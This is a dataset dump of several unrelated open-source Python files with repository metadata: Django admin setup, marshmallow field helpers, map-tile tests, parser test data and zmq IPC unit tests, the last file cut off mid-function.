from django.contrib import admin from .models import Libro, Cliente, Prestamo # Register your models here. admin.site.register(Libro) admin.site.register(Cliente) admin.site.register(Prestamo)

19.6

44

0.80102

27

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5.814815

0.481481

0.171975

0.324841

0

0.107143

196

9

45

21.777778

0.897143

0.132653

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1

0

null

0

1

0

1

0

5

8bf1648bc2a45117a2974d06b17f7a5890a8b18f

203

py

Python

libspn_keras/losses/__init__.py

twebr/libspn-keras

b5f107899795634f011b0e0bfedce182c0e87568

[ "MIT" ]

45

2020-02-23T22:01:13.000Z

2021-09-10T19:24:40.000Z

libspn_keras/losses/__init__.py

twebr/libspn-keras

b5f107899795634f011b0e0bfedce182c0e87568

[ "MIT" ]

16

2020-03-12T06:12:44.000Z

2022-01-19T19:44:33.000Z

libspn_keras/losses/__init__.py

twebr/libspn-keras

b5f107899795634f011b0e0bfedce182c0e87568

[ "MIT" ]

9

2020-02-24T13:06:16.000Z

2021-11-09T22:59:32.000Z

from libspn_keras.losses.negative_log_joint import NegativeLogJoint from libspn_keras.losses.negative_log_likelihood import NegativeLogLikelihood __all__ = ["NegativeLogJoint", "NegativeLogLikelihood"]

40.6

77

0.876847

21

203

8

0.571429

0.119048

0.178571

0.25

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203

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78

50.75

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1

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null

0

1

0

1

0

5

e33d0c66cdd3d610d02181f9eb4157fd0640fad1

1,545

py

Python

integration-test/1279-osm-road-min_zoom_defaults.py

rinnyB/vector-datasource

024909ed8245a4ad4a25c908413ba3602de6c335

[ "MIT" ]

null

integration-test/1279-osm-road-min_zoom_defaults.py

rinnyB/vector-datasource

024909ed8245a4ad4a25c908413ba3602de6c335

[ "MIT" ]

2

2021-03-31T20:22:37.000Z

2021-12-13T20:50:11.000Z

integration-test/1279-osm-road-min_zoom_defaults.py

rinnyB/vector-datasource

024909ed8245a4ad4a25c908413ba3602de6c335

[ "MIT" ]

null

# -*- encoding: utf-8 -*- from . import FixtureTest class OSMMinZoomTests(FixtureTest): def test_motorway_min_zoom(self): import dsl z, x, y = (16, 33186, 22554) self.generate_fixtures( # https://www.openstreetmap.org/way/16108247 dsl.way(1, dsl.tile_diagonal(z, x, y), { 'source': 'openstreetmap.org', 'highway': 'motorway', }), ) self.assert_has_feature( z, x, y, 'roads', { 'id': 1, 'min_zoom': 5, }) def test_trunk_min_zoom(self): import dsl z, x, y = (16, 33186, 22554) self.generate_fixtures( # https://www.openstreetmap.org/way/16108247 dsl.way(2, dsl.tile_diagonal(z, x, y), { 'source': 'openstreetmap.org', 'highway': 'trunk', }), ) self.assert_has_feature( z, x, y, 'roads', { 'id': 2, 'min_zoom': 6, }) def test_primary_min_zoom(self): import dsl z, x, y = (16, 33186, 22554) self.generate_fixtures( # https://www.openstreetmap.org/way/16108247 dsl.way(3, dsl.tile_diagonal(z, x, y), { 'source': 'openstreetmap.org', 'highway': 'primary', }), ) self.assert_has_feature( z, x, y, 'roads', { 'id': 3, 'min_zoom': 8, })

24.919355

56

0.45178

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1,545

4.238994

0.283019

0.026706

0.040059

0.075668

0.77003

0.636499

0

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0.41165

1,545

61

57

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0.664466

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0.545455

0

0.111671

0

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1

0.068182

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0

0.090909

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0.181818

0

null

0

1

0

null

0

5

e357be4b4ea3081f114e08f963141484a5e55201

8,622

py

Python

marshmallow_recipe/fields.py

foobarbazmeow/marshmallow-recipe

5bce8abd5db1abec4d60cfa2cd1428c6c5738566

[ "MIT" ]

null

marshmallow_recipe/fields.py

foobarbazmeow/marshmallow-recipe

5bce8abd5db1abec4d60cfa2cd1428c6c5738566

[ "MIT" ]

null

marshmallow_recipe/fields.py

foobarbazmeow/marshmallow-recipe

5bce8abd5db1abec4d60cfa2cd1428c6c5738566

[ "MIT" ]

null

import datetime import decimal import uuid from typing import Any, Type import marshmallow as m from .missing import MISSING, Missing _MARSHMALLOW_VERSION_MAJOR = int(m.__version__.split(".")[0]) def str_field( *, required: bool, default: str | None | Missing = MISSING, name: str | None = None, **_: Any, ) -> m.fields.Field: if required: if default is not MISSING: raise ValueError("Default values is not supported for required fields") return m.fields.String(required=True, **data_key_fields(name)) return m.fields.Str( allow_none=True, **default_fields(None if default is MISSING else default), **data_key_fields(name), ) def bool_field( *, required: bool, default: bool | None | Missing = MISSING, name: str | None = None, **_: Any, ) -> m.fields.Field: if required: if default is not MISSING: raise ValueError("Default values is not supported for required fields") return m.fields.Boolean(required=True, **data_key_fields(name)) return m.fields.Bool( allow_none=True, **default_fields(None if default is MISSING else default), **data_key_fields(name), ) def decimal_field( *, required: bool, default: decimal.Decimal | None | Missing = MISSING, name: str | None = None, places: int = 2, as_string: bool = True, **_: Any, ) -> m.fields.Field: if required: if default is not MISSING: raise ValueError("Default values is not supported for required fields") return m.fields.Decimal(required=True, as_string=as_string, places=places, **data_key_fields(name)) return m.fields.Decimal( allow_none=True, as_string=as_string, places=places, **default_fields(None if default is MISSING else default), **data_key_fields(name), ) def int_field( *, required: bool, default: int | None | Missing = MISSING, name: str | None = None, **_: Any, ) -> m.fields.Field: if required: if default is not MISSING: raise ValueError("Default values is not supported for required fields") return m.fields.Int(required=True, **data_key_fields(name)) return m.fields.Int( allow_none=True, **default_fields(None if default is MISSING else default), **data_key_fields(name), ) def float_field( *, required: bool, default: float | None | Missing = MISSING, name: str | None = None, **_: Any, ) -> m.fields.Field: if required: if default is not MISSING: raise ValueError("Default values is not supported for required fields") return m.fields.Float(required=True, **data_key_fields(name)) return m.fields.Float( allow_none=True, **default_fields(None if default is MISSING else default), **data_key_fields(name), ) def uuid_field( *, required: bool, default: uuid.UUID | None | Missing = MISSING, name: str | None = None, **_: Any, ) -> m.fields.Field: if required: if default is not MISSING: raise ValueError("Default values is not supported for required fields") return m.fields.UUID(required=True, **data_key_fields(name)) return m.fields.UUID( allow_none=True, **default_fields(None if default is MISSING else default), **data_key_fields(name), ) def datetime_field( *, required: bool, default: datetime.datetime | None | Missing = MISSING, name: str | None = None, **_: Any, ) -> m.fields.Field: if required: if default is not MISSING: raise ValueError("Default values is not supported for required fields") return DateTimeField(required=True, **data_key_fields(name)) return DateTimeField( allow_none=True, **default_fields(None if default is MISSING else default), **data_key_fields(name), ) def date_field( *, required: bool, default: datetime.date | None | Missing = MISSING, name: str | None = None, **_: Any, ) -> m.fields.Field: if required: if default is not MISSING: raise ValueError("Default values is not supported for required fields") return m.fields.Date(required=True, **data_key_fields(name)) return m.fields.Date( allow_none=True, **default_fields(None if default is MISSING else default), **data_key_fields(name), ) def nested_field( nested_schema: Type[m.Schema], *, required: bool, default: Any | None | Missing = MISSING, name: str | None = None, **_: Any, ) -> m.fields.Field: if required: if default is not MISSING: raise ValueError("Default values is not supported for required fields") return m.fields.Nested(nested_schema, required=True, **data_key_fields(name)) if default is not MISSING and default is not None: raise ValueError("Default values is not supported for required fields") return m.fields.Nested( nested_schema, allow_none=True, **default_fields(None), **data_key_fields(name), ) def list_field( field: m.fields.Field, *, required: bool, default: Any | None | Missing = MISSING, name: str | None = None, **_: Any, ) -> m.fields.Field: if required: if default is not MISSING: raise ValueError("Default values is not supported for required fields") return m.fields.List(field, required=True, **data_key_fields(name)) if default is not MISSING and default is not None: raise ValueError("Default values is not supported for required fields") return m.fields.List( field, allow_none=True, **default_fields(None), **data_key_fields(name), ) def dict_field( *, required: bool, default: Any | None | Missing = MISSING, name: str | None = None, **_: Any, ) -> m.fields.Field: if required: if default is not MISSING: raise ValueError("Default values is not supported for required fields") return m.fields.Dict(required=True, **data_key_fields(name)) if default is not MISSING and default is not None: raise ValueError("Default values is not supported for required fields") return m.fields.Dict( allow_none=True, **default_fields(None), **data_key_fields(name), ) DateTimeField: Type[m.fields.DateTime] if _MARSHMALLOW_VERSION_MAJOR >= 3: def data_key_fields(name: str | None) -> dict[str, Any]: if name is None: return {} return dict(data_key=name) def default_fields(value: Any) -> dict[str, Any]: return dict(dump_default=value, load_default=value) class DateTimeFieldV3(m.fields.DateTime): def _deserialize(self, value: Any, attr: Any, data: Any, **kwargs: Any) -> Any: result = super()._deserialize(value, attr, data, **kwargs) if result.tzinfo is None: return result.replace(tzinfo=datetime.timezone.utc) return result.astimezone(datetime.timezone.utc) def _serialize(self, value: Any, attr: Any, obj: Any, **kwargs: Any) -> Any: if value is None: return None if value.tzinfo is None: value = value.replace(tzinfo=datetime.timezone.utc) return super()._serialize(value, attr, obj, **kwargs) DateTimeField = DateTimeFieldV3 else: dateutil_tz_utc_cls: Type[datetime.tzinfo] | None try: import dateutil.tz # type: ignore dateutil_tz_utc_cls = dateutil.tz.tzutc except ImportError: dateutil_tz_utc_cls = None def data_key_fields(name: str | None) -> dict[str, Any]: if name is None: return {} return dict(dump_to=name, load_from=name) def default_fields(value: Any) -> dict[str, Any]: return dict(missing=value, default=value) class DateTimeFieldV2(m.fields.DateTime): def _deserialize(self, value: Any, attr: Any, data: Any, **_: Any) -> Any: result = super()._deserialize(value, attr, data) if result.tzinfo is None: return result.replace(tzinfo=datetime.timezone.utc) if dateutil_tz_utc_cls is not None and isinstance(result.tzinfo, dateutil_tz_utc_cls): return result.replace(tzinfo=datetime.timezone.utc) return result.astimezone(datetime.timezone.utc) DateTimeField = DateTimeFieldV2

29.326531

107

0.63106

1,077

8,622

4.922934

0.076137

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0.058846

0.076952

0.783667

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0.760845

0.73029

0.714825

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0

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8,622

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0.2625

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null

0

1

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null

0

5

e36dae7600fb694435944266c5acdfd3e34ea4ec

164

py

Python

NSE_Data_Science_001/NSE01-venv/Lib/site-packages/nsepy/__init__.py

Stoned-KING/Python_Projects

33cd9daf5252e0458b15348268f0c244b03646a7

[ "MIT" ]

null

NSE_Data_Science_001/NSE01-venv/Lib/site-packages/nsepy/__init__.py

Stoned-KING/Python_Projects

33cd9daf5252e0458b15348268f0c244b03646a7

[ "MIT" ]

null

NSE_Data_Science_001/NSE01-venv/Lib/site-packages/nsepy/__init__.py

Stoned-KING/Python_Projects

33cd9daf5252e0458b15348268f0c244b03646a7

[ "MIT" ]

null

from .history import get_history, get_index_pe_history, get_rbi_ref_history from .live import get_quote from .derivatives import get_expiry_date __VERSION__ = 0.7

27.333333

75

0.847561

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4.62963

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0.216

0

0.013699

0.109756

164

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76

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0

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1

0

1

0

null

0

1

0

1

0

5

8b4d27cbe08e81ece1607737cc3066bd65d53abc

166

py

Python

tests/python_parser/data/call.py

ahupp/pegen

e28fe4fb1972c55af5ddb6a7bdd9cba4ea072b81

[ "MIT" ]

106

2020-05-14T03:43:47.000Z

2022-03-26T21:46:47.000Z

tests/python_parser/data/call.py

ahupp/pegen

e28fe4fb1972c55af5ddb6a7bdd9cba4ea072b81

[ "MIT" ]

60

2020-05-07T23:17:46.000Z

2022-03-30T20:26:25.000Z

tests/python_parser/data/call.py

ahupp/pegen

e28fe4fb1972c55af5ddb6a7bdd9cba4ea072b81

[ "MIT" ]

20

2020-05-22T10:21:30.000Z

2022-03-26T21:23:44.000Z

a = () b = {} f() f(b) f(b=c) f(*a) f(c, *a) f(c=1, *b) f(*a, c=1) f(**b) f(c, *a, **b) f(c, *a, x, **b) f(c, a=1, **b) f(a := 1) f(**b, a=1) f(i for i in range(10))

9.764706

23

0.355422

51

166

1.156863

0.215686

0.237288

0.20339

0

0.054264

0.222892

166

16

24

10.375

0.403101

0

1

0

false

0

1

null

1

0

1

0

null

0

5

8b556749886b41907d7c92c0e938f50d875b3dd3

621

py

Python

PyTuna/audio/notes.py

danieldutton/PyTuna

4c7e5b4f6347fc8d651da5c55f8da9709f423cc3

[ "Apache-2.0" ]

null

PyTuna/audio/notes.py

danieldutton/PyTuna

4c7e5b4f6347fc8d651da5c55f8da9709f423cc3

[ "Apache-2.0" ]

null

PyTuna/audio/notes.py

danieldutton/PyTuna

4c7e5b4f6347fc8d651da5c55f8da9709f423cc3

[ "Apache-2.0" ]

null

class Notes(object): """Description here""" @staticmethod def get_guitar_notes_six_string(): notes = ('ELow', 'A', 'D', 'G', 'B', 'EHigh') return notes @staticmethod def get_guitar_notes_twelve_string(): notes = ('ELow', 'A', 'D', 'G', 'B', 'EHigh') return notes @staticmethod def get_bass_notes_four_string(): notes = ('E', 'A', 'D', 'G') return notes @staticmethod def get_bass_notes_six_string(): notes = ('ELow', 'A', 'D', 'G', 'B', 'EHigh') return notes

20.032258

57

0.492754

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621

4.328358

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0.165517

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0.541379

0

0.347826

621

30

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0.716049

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false

0

0.529412

0

null

1

0

null

0

1

0

5

8ba12f7608fe5de6166eb528117d3950b52493e2

111

py

Python

data_warehouse/read.py

jbj2505/dend_03_data_warehouse

30a898a622ede22ae360f6337e1a0b8ac22df512

[ "MIT" ]

2

2021-12-15T21:25:38.000Z

2022-02-11T14:10:01.000Z

data_warehouse/read.py

jbj2505/dend_03_data_warehouse

30a898a622ede22ae360f6337e1a0b8ac22df512

[ "MIT" ]

null

data_warehouse/read.py

jbj2505/dend_03_data_warehouse

30a898a622ede22ae360f6337e1a0b8ac22df512

[ "MIT" ]

3

2019-09-28T12:17:58.000Z

2021-02-19T11:55:44.000Z

def read_sql_query(filepath): with open(filepath, "r") as file_pointer: return file_pointer.read()

27.75

45

0.702703

16

111

4.625

0.75

0.297297

0

0.189189

111

3

46

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0

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1

0

null

0

1

0

1

0

5

8ba938daa7c4c1f2a83af63920be3963c1f0d234

24,206

py

Python

tests/test_ipc.py

pkeroulas/nmos-common

b650bad276819d794624f4ff6ea08fbdecd915d7

[ "Apache-2.0" ]

7

2017-12-08T08:05:51.000Z

2020-10-21T07:32:42.000Z

tests/test_ipc.py

pkeroulas/nmos-common

b650bad276819d794624f4ff6ea08fbdecd915d7

[ "Apache-2.0" ]

63

2017-12-13T08:46:58.000Z

2020-12-02T08:48:40.000Z

tests/test_ipc.py

pkeroulas/nmos-common

b650bad276819d794624f4ff6ea08fbdecd915d7

[ "Apache-2.0" ]

7

2017-11-22T10:49:23.000Z

2022-03-15T22:00:17.000Z

# Copyright 2017 British Broadcasting Corporation # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. from __future__ import absolute_import from __future__ import print_function from six import PY2 from six import string_types from six import iteritems import unittest import mock from nmoscommon.ipc import * if PY2: from StringIO import StringIO else: from io import StringIO class TestHost(unittest.TestCase): def __init__(self, *args, **kwargs): super(TestHost, self).__init__(*args, **kwargs) if PY2: self.assertCountEqual = self.assertItemsEqual def setUp(self): paths = ['nmoscommon.ipc.zmq', 'os.chmod', ] patchers = { name : mock.patch(name) for name in paths } self.mocks = { name : patcher.start() for (name, patcher) in iteritems(patchers) } for (name, patcher) in iteritems(patchers): self.addCleanup(patcher.stop) self.zmq = self.mocks['nmoscommon.ipc.zmq'] def test_init(self): address = "ipc://dummy.test" UUT = Host(address) self.assertEqual(UUT.timeout, 100) self.zmq.Context.instance.assert_called_once_with() self.zmq.Context.instance.return_value.socket.assert_called_once_with(self.zmq.REP) self.zmq.Context.instance.return_value.socket.return_value.bind.assert_called_once_with(address) self.zmq.Context.instance.return_value.socket.return_value.setsockopt.assert_called_with(self.zmq.LINGER, 0) if address[:6] == "ipc://": self.mocks['os.chmod'].assert_called_with(address[6:], (stat.S_IRUSR | stat.S_IWUSR | stat.S_IXUSR | stat.S_IRGRP | stat.S_IWGRP | stat.S_IXGRP | stat.S_IROTH | stat.S_IWOTH | stat.S_IXOTH)) def test_start_starts_a_greenlet_if_not_running(self): address = "ipc://dummy.test" UUT = Host(address) with mock.patch('gevent.spawn') as spawn: UUT.start() spawn.assert_called_once_with(mock.ANY) def test_start_does_nothing_if_already_running(self): address = "ipc://dummy.test" UUT = Host(address) with mock.patch('gevent.spawn') as spawn: UUT.start() spawn.assert_called_once_with(mock.ANY) spawn.reset_mock() UUT.start() spawn.assert_not_called() def test_stop_does_nothing_if_not_running(self): address = "ipc://dummy.test" UUT = Host(address) with mock.patch('gevent.spawn') as spawn: UUT.stop() spawn.return_value.kill.assert_not_called() def test_stop_kills_greenlet_if_already_running(self): address = "ipc://dummy.test" UUT = Host(address) with mock.patch('gevent.spawn') as spawn: UUT.start() UUT.stop() spawn.return_value.kill.assert_called_once_with() def test_start_restarts_greenlet_after_stopping(self): address = "ipc://dummy.test" UUT = Host(address) greenlets = [ mock.MagicMock(name="greenlet1"), mock.MagicMock(name="greenlet2") ] greenlet_queue = [ m for m in greenlets ] # Need a copy so that elements can be popped out with mock.patch('gevent.spawn', side_effect=lambda _ : greenlet_queue.pop(0)) as spawn: UUT.start() spawn.assert_called_once_with(mock.ANY) UUT.stop() greenlets[0].kill.assert_called_once_with() UUT.start() self.assertListEqual([ call for call in spawn.mock_calls if call[0] == "" ], [ mock.call(mock.ANY), mock.call(mock.ANY) ]) UUT.stop() greenlets[1].kill.assert_called_once_with() def test_runloop_does_nothing_if_not_started(self): self.zmq.Context.instance.return_value.socket.return_value.poll.side_effect = Exception # This will throw an exception if the code gets as far as calling it address = "ipc://dummy.test" UUT = Host(address) # Make spawn just call the passed parameter, essentially a threadless launch def stop_then_call(UUT): def __inner(f): UUT.stop() return f() return __inner with mock.patch('gevent.spawn', side_effect=stop_then_call) as spawn: try: UUT.start() except: self.fail(msg="stop didn't prevent the runloop from running") def test_runloop_polls_for_messages_and_retries_on_timeout(self): def return_vals_then_raise(retvals, e=Exception): def __inner(*args, **kwargs): if len(retvals) > 0: return retvals.pop(0) else: raise e return __inner self.zmq.Context.instance.return_value.socket.return_value.poll.side_effect = return_vals_then_raise([ 0, 0, 0 ]) address = "ipc://dummy.test" UUT = Host(address) # Make spawn just call the passed parameter, essentially a threadless launch with mock.patch('gevent.spawn', side_effect=lambda f : f()) as spawn: with self.assertRaises(Exception): UUT.start() self.assertListEqual(self.zmq.Context.instance.return_value.socket.return_value.poll.mock_calls, [ mock.call(timeout=UUT.timeout), mock.call(timeout=UUT.timeout), mock.call(timeout=UUT.timeout), mock.call(timeout=UUT.timeout) ]) def test_runloop_sends_empty_reply_to_malformed_msg(self): def return_vals_then_raise(retvals, e=Exception): def __inner(*args, **kwargs): if len(retvals) > 0: return retvals.pop(0) else: raise e return __inner self.zmq.Context.instance.return_value.socket.return_value.poll.side_effect = return_vals_then_raise([ 1, ]) self.zmq.Context.instance.return_value.socket.return_value.recv_json.return_value = {"foo" : "bar"} address = "ipc://dummy.test" UUT = Host(address) # Make spawn just call the passed parameter, essentially a threadless launch with mock.patch('gevent.spawn', side_effect=lambda f : f()) as spawn: with self.assertRaises(Exception): UUT.start() self.assertListEqual(self.zmq.Context.instance.return_value.socket.return_value.poll.mock_calls, [ mock.call(timeout=UUT.timeout), mock.call(timeout=UUT.timeout) ]) self.zmq.Context.instance.return_value.socket.return_value.recv_json.assert_called_once_with() self.zmq.Context.instance.return_value.socket.return_value.send_json.assert_called_once_with({}) def test_runloop_sends_error_in_response_to_unknown_method_call(self): def return_vals_then_raise(retvals, e=Exception): def __inner(*args, **kwargs): if len(retvals) > 0: return retvals.pop(0) else: raise e return __inner self.zmq.Context.instance.return_value.socket.return_value.poll.side_effect = return_vals_then_raise([ 1, ]) self.zmq.Context.instance.return_value.socket.return_value.recv_json.return_value = {"function" : "unknown_function", "args" : [], "kwargs" : {} } address = "ipc://dummy.test" UUT = Host(address) # Make spawn just call the passed parameter, essentially a threadless launch with mock.patch('gevent.spawn', side_effect=lambda f : f()) as spawn: with self.assertRaises(Exception): UUT.start() self.assertListEqual(self.zmq.Context.instance.return_value.socket.return_value.poll.mock_calls, [ mock.call(timeout=UUT.timeout), mock.call(timeout=UUT.timeout) ]) self.zmq.Context.instance.return_value.socket.return_value.recv_json.assert_called_once_with() self.zmq.Context.instance.return_value.socket.return_value.send_json.assert_called_once_with({ 'exc' : 'AttributeError'}) def test_runloop_sends_error_in_response_to_unknown_method_call(self): def return_vals_then_raise(retvals, e=Exception): def __inner(*args, **kwargs): if len(retvals) > 0: return retvals.pop(0) else: raise e return __inner self.zmq.Context.instance.return_value.socket.return_value.poll.side_effect = return_vals_then_raise([ 1, ]) self.zmq.Context.instance.return_value.socket.return_value.recv_json.return_value = {"function" : "unknown_function", "args" : [], "kwargs" : {} } address = "ipc://dummy.test" UUT = Host(address) # Make spawn just call the passed parameter, essentially a threadless launch with mock.patch('gevent.spawn', side_effect=lambda f : f()) as spawn: with self.assertRaises(Exception): UUT.start() self.assertListEqual(self.zmq.Context.instance.return_value.socket.return_value.poll.mock_calls, [ mock.call(timeout=UUT.timeout), mock.call(timeout=UUT.timeout) ]) self.zmq.Context.instance.return_value.socket.return_value.recv_json.assert_called_once_with() self.zmq.Context.instance.return_value.socket.return_value.send_json.assert_called_once_with({ 'exc' : 'AttributeError'}) def test_runloop_passes_through_calls_to_known_method(self): def return_vals_then_raise(retvals, e=Exception): def __inner(*args, **kwargs): if len(retvals) > 0: return retvals.pop(0) else: raise e return __inner args = [ "foo", "bar" ] kwargs = { "baz" : "potato" } self.zmq.Context.instance.return_value.socket.return_value.poll.side_effect = return_vals_then_raise([ 1, ]) self.zmq.Context.instance.return_value.socket.return_value.recv_json.return_value = {"function" : "test_function", "args" : args, "kwargs" : kwargs } test_function_mock = mock.MagicMock(name="test_function_mock") def test_function(*args, **kwargs): return test_function_mock(*args, **kwargs) test_function_mock.return_value = None address = "ipc://dummy.test" UUT = Host(address) UUT.ipcmethod()(test_function) # Make spawn just call the passed parameter, essentially a threadless launch with mock.patch('gevent.spawn', side_effect=lambda f : f()) as spawn: with self.assertRaises(Exception): UUT.start() self.assertListEqual(self.zmq.Context.instance.return_value.socket.return_value.poll.mock_calls, [ mock.call(timeout=UUT.timeout), mock.call(timeout=UUT.timeout) ]) self.zmq.Context.instance.return_value.socket.return_value.recv_json.assert_called_once_with() test_function_mock.assert_called_once_with(*args, **kwargs) self.zmq.Context.instance.return_value.socket.return_value.send_json.assert_called_once_with({}) def test_runloop_passes_through_calls_to_known_method_and_returns(self): def return_vals_then_raise(retvals, e=Exception): def __inner(*args, **kwargs): if len(retvals) > 0: return retvals.pop(0) else: raise e return __inner args = [ "foo", "bar" ] kwargs = { "baz" : "potato" } self.zmq.Context.instance.return_value.socket.return_value.poll.side_effect = return_vals_then_raise([ 1, ]) self.zmq.Context.instance.return_value.socket.return_value.recv_json.return_value = {"function" : "test_function", "args" : args, "kwargs" : kwargs } test_function_mock = mock.MagicMock(name="test_function_mock") def test_function(*args, **kwargs): return test_function_mock(*args, **kwargs) test_function_mock.return_value = "return_data" address = "ipc://dummy.test" UUT = Host(address) UUT.ipcmethod()(test_function) # Make spawn just call the passed parameter, essentially a threadless launch with mock.patch('gevent.spawn', side_effect=lambda f : f()) as spawn: with self.assertRaises(Exception): UUT.start() self.assertListEqual(self.zmq.Context.instance.return_value.socket.return_value.poll.mock_calls, [ mock.call(timeout=UUT.timeout), mock.call(timeout=UUT.timeout) ]) self.zmq.Context.instance.return_value.socket.return_value.recv_json.assert_called_once_with() test_function_mock.assert_called_once_with(*args, **kwargs) self.zmq.Context.instance.return_value.socket.return_value.send_json.assert_called_once_with({ 'ret' : test_function_mock.return_value }) def test_runloop_passes_through_calls_to_known_method_and_sends_back_exception_when_one_is_raised(self): def return_vals_then_raise(retvals, e=Exception): def __inner(*args, **kwargs): if len(retvals) > 0: return retvals.pop(0) else: raise e return __inner args = [ "foo", "bar" ] kwargs = { "baz" : "potato" } self.zmq.Context.instance.return_value.socket.return_value.poll.side_effect = return_vals_then_raise([ 1, ]) self.zmq.Context.instance.return_value.socket.return_value.recv_json.return_value = {"function" : "test_function", "args" : args, "kwargs" : kwargs } test_function_mock = mock.MagicMock(name="test_function_mock") def test_function(*args, **kwargs): return test_function_mock(*args, **kwargs) test_function_mock.side_effect = Exception("This is a test Exception") address = "ipc://dummy.test" UUT = Host(address) UUT.ipcmethod()(test_function) # Make spawn just call the passed parameter, essentially a threadless launch with mock.patch('gevent.spawn', side_effect=lambda f : f()) as spawn: with self.assertRaises(Exception): UUT.start() self.assertListEqual(self.zmq.Context.instance.return_value.socket.return_value.poll.mock_calls, [ mock.call(timeout=UUT.timeout), mock.call(timeout=UUT.timeout) ]) self.zmq.Context.instance.return_value.socket.return_value.recv_json.assert_called_once_with() test_function_mock.assert_called_once_with(*args, **kwargs) self.zmq.Context.instance.return_value.socket.return_value.send_json.assert_called_once_with(mock.ANY) sentval = self.zmq.Context.instance.return_value.socket.return_value.send_json.call_args[0][0] self.assertIsInstance(sentval, dict) self.assertIn("exc", sentval) self.assertIsInstance(sentval["exc"], string_types) self.assertRegexpMatches(sentval["exc"], r'Exception: This is a test Exception') def test_getmethods(self): methods = [ mock.MagicMock(__name__="foo", __doc__="foodoc"), mock.MagicMock(__name__="bar", __doc__="bardoc"), mock.MagicMock(__name__="baz", __doc__=None), ] address = "ipc://dummy.test" UUT = Host(address) for m in methods: UUT.ipcmethod()(m) self.assertEqual(UUT.getmethods(), dict([ (m.__name__, m.__doc__ if m.__doc__ is not None else "") for m in methods ] + [ ("getmethods", UUT.getmethods.__doc__) ])) class TestProxy(unittest.TestCase): def __init__(self, *args, **kwargs): super(TestProxy, self).__init__(*args, **kwargs) if PY2: self.assertCountEqual = self.assertItemsEqual def setUp(self): paths = ['nmoscommon.ipc.zmq', 'os.path.exists', ] patchers = { name : mock.patch(name) for name in paths } self.mocks = { name : patcher.start() for (name, patcher) in iteritems(patchers) } for (name, patcher) in iteritems(patchers): self.addCleanup(patcher.stop) self.zmq = self.mocks['nmoscommon.ipc.zmq'] def test_init(self): self.mocks['os.path.exists'].return_value = True address = "ipc://dummy.test" UUT = Proxy(address) self.assertEqual(UUT.timeout, 100) self.zmq.Context.instance.assert_called_once_with() if address[:6] == "ipc://": self.mocks['os.path.exists'].assert_called_with(address[6:]) self.zmq.Context.instance.return_value.socket.assert_called_once_with(self.zmq.REQ) self.zmq.Context.instance.return_value.socket.return_value.connect.assert_called_once_with(address) self.assertCountEqual(self.zmq.Context.instance.return_value.socket.return_value.setsockopt.mock_calls, [ mock.call(self.zmq.LINGER, 0), mock.call(self.zmq.SNDTIMEO, 0), mock.call(self.zmq.RCVTIMEO, 0) ]) def test_fails_when_ipc_socket_nonexistant(self): self.mocks['os.path.exists'].return_value = False address = "ipc://dummy.test" with self.assertRaises(RuntimeError): UUT = Proxy(address) if address[:6] == "ipc://": self.mocks['os.path.exists'].assert_called_with(address[6:]) self.zmq.Context.instance.return_value.socket.assert_not_called() def test_remote_call(self): self.mocks['os.path.exists'].return_value = True address = "ipc://dummy.test" UUT = Proxy(address) method_name = "testmethodname" args = [ "foo", "bar", "baz" ] kwargs = { "boop" : "togethertogether" } EXPECTED_RETURN_VALUE = "ejybrvjysdlfhlyguerhli;njk7893ykj" self.zmq.Context.instance.return_value.socket.return_value.poll.side_effect = [ 1, Exception ] self.zmq.Context.instance.return_value.socket.return_value.recv_json.side_effect = [ { 'ret' : EXPECTED_RETURN_VALUE }, Exception ] with mock.patch('gevent.sleep') as sleep: try: r = getattr(UUT, method_name)(*args, **kwargs) except: self.fail(msg="Call to %s failed with unexpected exception: %s" % (method_name, traceback.format_exc(),)) self.assertEqual(r, EXPECTED_RETURN_VALUE) def test_remote_call_raises_when_socket_unconnected(self): self.mocks['os.path.exists'].return_value = True address = "ipc://dummy.test" UUT = Proxy(address) method_name = "testmethodname" args = [ "foo", "bar", "baz" ] kwargs = { "boop" : "togethertogether" } EXPECTED_RETURN_VALUE = "ejybrvjysdlfhlyguerhli;njk7893ykj" self.zmq.Context.instance.return_value.socket.return_value.poll.side_effect = [ 0, Exception ] self.zmq.Context.instance.return_value.socket.return_value.recv_json.side_effect = Exception with mock.patch('gevent.sleep') as sleep: with self.assertRaises(LocalException): r = getattr(UUT, method_name)(*args, **kwargs) def test_remote_call_passes_through_remote_exception(self): self.mocks['os.path.exists'].return_value = True address = "ipc://dummy.test" UUT = Proxy(address) method_name = "testmethodname" args = [ "foo", "bar", "baz" ] kwargs = { "boop" : "togethertogether" } EXPECTED_EXCEPTION_MESSAGE = "ejybrvjysdlfhlyguerhli;njk7893ykj" self.zmq.Context.instance.return_value.socket.return_value.poll.side_effect = [ 1, Exception ] self.zmq.Context.instance.return_value.socket.return_value.recv_json.side_effect = [ { 'exc' : EXPECTED_EXCEPTION_MESSAGE }, Exception ] with mock.patch('gevent.sleep') as sleep: with self.assertRaises(RemoteException) as cm: r = getattr(UUT, method_name)(*args, **kwargs) self.assertEqual(cm.exception.args, ( EXPECTED_EXCEPTION_MESSAGE, )) class TestMain(unittest.TestCase): def setUp(self): paths = ['nmoscommon.ipc.zmq', 'os.path.exists', 'os.chmod'] patchers = { name : mock.patch(name) for name in paths } self.mocks = { name : patcher.start() for (name, patcher) in iteritems(patchers) } for (name, patcher) in iteritems(patchers): self.addCleanup(patcher.stop) self.zmq = self.mocks['nmoscommon.ipc.zmq'] self.mocks['os.path.exists'].return_value = True @mock.patch('sys.argv', [ "ipc", "ipc://tmp.test", "test_func", "foo", "bar", "baz" ]) def test_main(self): EXPECTED_RETURN_VALUES = [] def set_retval(d): EXPECTED_RETURN_VALUES.append(d) def get_retval(): return { 'ret' : EXPECTED_RETURN_VALUES[0] } self.zmq.Context.instance.return_value.socket.return_value.poll.side_effect = [ 1, Exception ] self.zmq.Context.instance.return_value.socket.return_value.send_json.side_effect = set_retval self.zmq.Context.instance.return_value.socket.return_value.recv_json.side_effect = get_retval with mock.patch('sys.stdout', new_callable=StringIO) as mock_stdout: main() self.assertEqual(json.loads(mock_stdout.getvalue().strip()), { 'function' : 'test_func', 'args' : [ 'foo', 'bar', 'baz' ], 'kwargs' : {} }) @mock.patch('sys.argv', [ "ipc", "ipc://tmp.test", ]) def test_main_host(self): 